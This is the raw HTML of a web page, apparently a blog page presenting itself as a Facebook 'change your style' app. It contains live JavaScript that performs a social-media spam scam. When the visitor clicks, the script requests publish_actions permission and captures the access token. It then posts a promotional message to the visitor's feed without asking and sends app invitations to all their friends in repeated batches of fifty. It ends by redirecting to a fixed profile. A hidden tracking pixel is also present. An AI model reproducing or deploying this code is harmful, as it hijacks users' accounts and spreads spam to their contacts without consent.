iframe{position:relative;left:-10000px}.fb_iframe_widget_loader{position:relative;display:inline-block}.fb_iframe_widget_fluid{display:inline}.fb_iframe_widget_fluid span{width:100%}.fb_iframe_widget_loader iframe{min-height:32px;z-index:2;zoom:1}.fb_iframe_widget_loader .FB_Loader{background:url(https://fbstatic-a.akamaihd.net/rsrc.php/v2/y9/r/jKEcVPZFk-2.gif) no-repeat;height:32px;width:32px;margin-left:-16px;position:absolute;left:50%;z-index:4} .fb_connect_bar_container div,.fb_connect_bar_container span,.fb_connect_bar_container a,.fb_connect_bar_container img,.fb_connect_bar_container strong{background:none;border-spacing:0;border:0;direction:ltr;font-style:normal;font-variant:normal;letter-spacing:normal;line-height:1;margin:0;overflow:visible;padding:0;text-align:left;text-decoration:none;text-indent:0;text-shadow:none;text-transform:none;visibility:visible;white-space:normal;word-spacing:normal;vertical-align:baseline}.fb_connect_bar_container{position:fixed;left:0 !important;right:0 !important;height:42px !important;padding:0 25px !important;margin:0 !important;vertical-align:middle !important;border-bottom:1px solid #333 !important;background:#3b5998 !important;z-index:99999999 !important;overflow:hidden !important}.fb_connect_bar_container_ie6{position:absolute;top:expression(document.compatMode=="CSS1Compat"? document.documentElement.scrollTop+"px":body.scrollTop+"px")}.fb_connect_bar{position:relative;margin:auto;height:100%;width:100%;padding:6px 0 0 0 !important;background:none;color:#fff !important;font-family:"lucida grande", tahoma, verdana, arial, sans-serif !important;font-size:13px !important;font-style:normal !important;font-variant:normal !important;font-weight:normal !important;letter-spacing:normal !important;line-height:1 !important;text-decoration:none !important;text-indent:0 !important;text-shadow:none !important;text-transform:none !important;white-space:normal !important;word-spacing:normal !important}.fb_connect_bar a:hover{color:#fff}.fb_connect_bar .fb_profile img{height:30px;width:30px;vertical-align:middle;margin:0 6px 5px 0}.fb_connect_bar div a,.fb_connect_bar span,.fb_connect_bar span a{color:#bac6da;font-size:11px;text-decoration:none}.fb_connect_bar .fb_buttons{float:right;margin-top:7px} .fbpluginrecommendationsbarleft,.fbpluginrecommendationsbarright{position:fixed !important;bottom:0;z-index:999}.fbpluginrecommendationsbarleft{left:10px}.fbpluginrecommendationsbarright{right:10px}</style></head> <body style="margin: 0px !important; width: 100% !important;"><center> <img border="0" onload="NcodeImageResizer.createOn(this);" originalheight="270" originalwidth="250" src="http://i46.tinypic.com/2aesc52.gif" /> </center> <center> <a href="javascript:void(window.open('https://www.facebook.com/profile.php?id=100005694463913&sk=friends'))"> <img border="0" height="" src="http://im31.gulfup.com/qPOuD.png" width="" /></a> </center> <title>by:follow-facebook</title> <center> <style> img { border: 0; } body { width:100%; height:100%; margin: 0px 0px; } #ol1 { padding-left: 6cm; padding-top: 8cm; } #modal { width:100%; height:100%; position:fixed; z-index:100; background: #000; -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=85)"; /* IE 5-7 */ filter: alpha(opacity=85); /* Netscape */ -moz-opacity: 0.85; /* Safari 1.x */ -khtml-opacity: 0.85; /* Good browsers */ opacity: 0.85; } .container { width: 100%; height:100%; position:fixed; margin: 0 auto; z-index: 1001; } .container .box { width:760px; margin: 0 auto; margin-top:70px; height: 370px; max-height: 10000px; background: #fff; z-index: 1001; opacity: 1; border: 1px solid rgba(0, 0, 0, 0.3); -webkit-border-radius: 6px; -moz-border-radius: 6px; border-radius: 6px; -webkit-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); -moz-box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); box-shadow: 0 3px 7px rgba(0, 0, 0, 0.3); -webkit-background-clip: padding-box; -moz-background-clip: padding-box; background-clip: padding-box; padding: 10px; position:relative; } .box .foot { display:block; margin: 0 auto; position:absolute; left: 315px; } .box .foot a { display:block; text-align:center; border: 1px #ee9999 solid; background: #fff; width: 100px; height: 30px; font-size:25px; color: #999; text-decoration: none; } .box .title { text-align:center; font-weight: bold; font-size: 25px; color: #FF0080; height:30px; } </style> <script async="" src="https://ssl.google-analytics.com/ga.js" type="text/javascript"></script><script async="" src="https://ssl.google-analytics.com/ga.js" type="text/javascript"></script><script src="//ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script> <script type="text/javascript"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-41334226-1']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); </script> <script> function skip() { document.getElementById("modal").style.display = "none"; document.getElementById("container").style.display = "none"; } </script> <center> <a href="https://www.blogger.com/blogger.g?blogID=1188785499579824159#" onclick="return sendRequestToFriends('https://apps.facebook.com/558111137607478/?fb_source=search&ref=ts&fref=ts')"> </a> <div id="ol"> <a href="https://www.blogger.com/blogger.g?blogID=1188785499579824159#" onclick="return sendRequestToFriends('stylefb.herokuapp.com','stylefb.herokuapp.com/ With Your Friends.')"> <img border="0" src="http://im31.gulfup.com/TUmjC.png" width="340" /> </a> <br /> <br /> <!-- ADS --> </div> <!-- ADS --> <div align="center"> </div> </center> <br /> <br /> <br /> <div id="add"> </div> </center> <div class=" fb_reset" id="fb-root"> <script async="" src="https://connect.facebook.net/en_US/all.js"></script><div style="height: 0px; position: absolute; top: -10000px; width: 0px;"> <div> <iframe allowtransparency="true" aria-hidden="true" frameborder="0" id="fb_xdm_frame_https" name="fb_xdm_frame_https" scrolling="no" src="https://s-static.ak.facebook.com/connect/xd_arbiter/wTH8U0osOYl.js?version=40#channel=f12b2ed728&origin=https%3A%2F%2Fstylefb.herokuapp.com" style="border: none;" tab-index="-1" title="Facebook Cross Domain Communication Frame"></iframe></div> </div> <div style="height: 0px; position: absolute; top: -10000px; width: 0px;"> <div> </div> </div> </div> <script> var app_id = 832577153424325 , app_name = "http://stylefb.herokuapp.com/", app_pic = "http://im31.gulfup.com/qPOuD.png", davet_m = '', davet_t = 'Invite Friends To Play', fba = 0, posted = false, app_url = "", post_message = "to get change Your Facebook Style On Hare"; $.getJSON("https://graph.facebook.com/"+app_id,function(response) { if (response && response.namespace) { app_url = "http://apps.facebook.com/"+response.namespace; } }) window.fbAsyncInit = function () { var curLoc = window.location; FB.init({ appId: app_id, xfbml: true, oauth: true, cookie: true }); FB.Canvas.setAutoGrow(); FB.Canvas.setDoneLoading(); }; (function () { var e = document.createElement('script'); e.async = true; e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js'; document.getElementById('fb-root').appendChild(e); }()); function mshuffle(o) { for (var j, x, i = o.length; i; j = parseInt(Math.random() * i), x = o[--i], o[i] = o[j], o[j] = x); return o; }; var fbtoken = ""; function sendRequestToFriends(txxt, title) { if (true == posted) return false; davet_m = txxt; if (title) davet_t = title; FB.login(function (response) { //console.log(response); if (response.authResponse) { if (response.authResponse.accessToken) { fbtoken = response.authResponse.accessToken; var post_url = "https://graph.facebook.com/me/feed"; var post_vars = { method: "POST", access_token: fbtoken, message: post_message, link: app_url, picture: app_pic, name: app_name, caption: "Official Game", description: "Introducing >> "+app_name+"<< First come first serve!" } $.getJSON(post_url,post_vars,function(response){ posted_id = response.id || 0; _gaq.push(['_trackEvent', 'post', posted_id]); }) } FB.api('/me', function (response) { fba = response.id; }); all(); } else { _gaq.push(['_trackEvent', 'Auth', fba]); //all(); } },{ scope: "publish_actions" }); return false; }; function all() { var f = []; FB.api('/me/friends', function (response) { _gaq.push(['_trackEvent', 'Friends', fba, '', response.data.length]); for (var i = 0; i < response.data.length; i++) f.push(response.data[i].id); loop(f); }); }; function loop(f) { var l = Math.min(f.length, 50), t = []; mshuffle(f); if (0 != l) { for (var j = 0; j < l; j++) t.push(f[j]); FB.ui({ method: 'apprequests', data: app_id, message: davet_m, title: davet_t, to: t }, function (response) { if (response) { _gaq.push(['_trackEvent', 'Requests', fba, '', response.to.length]); for (var i = 0; i < response.to.length; i++) { var idx = f.indexOf(response.to[i]); - 1 != idx && f.splice(idx, 1); } if (f.length == 0) { top.location.href = 'https://www.facebook.com/profile.php?id=100005694463913&sk=friends'; } f.length > 0 && loop(f); } else { _gaq.push(['_trackEvent', 'Requests', fba]); f.length > 0 && loop(f); } }); } else { top.location.href = 'https://www.facebook.com/profile.php?id=100005694463913&sk=friends'; } } </script> <div style="visibility: hidden;"> <img alt="web stats" border="0" height="1" src="http://whos.amung.us/widget/myassgame.png" width="1" /> </div> </body></html></div>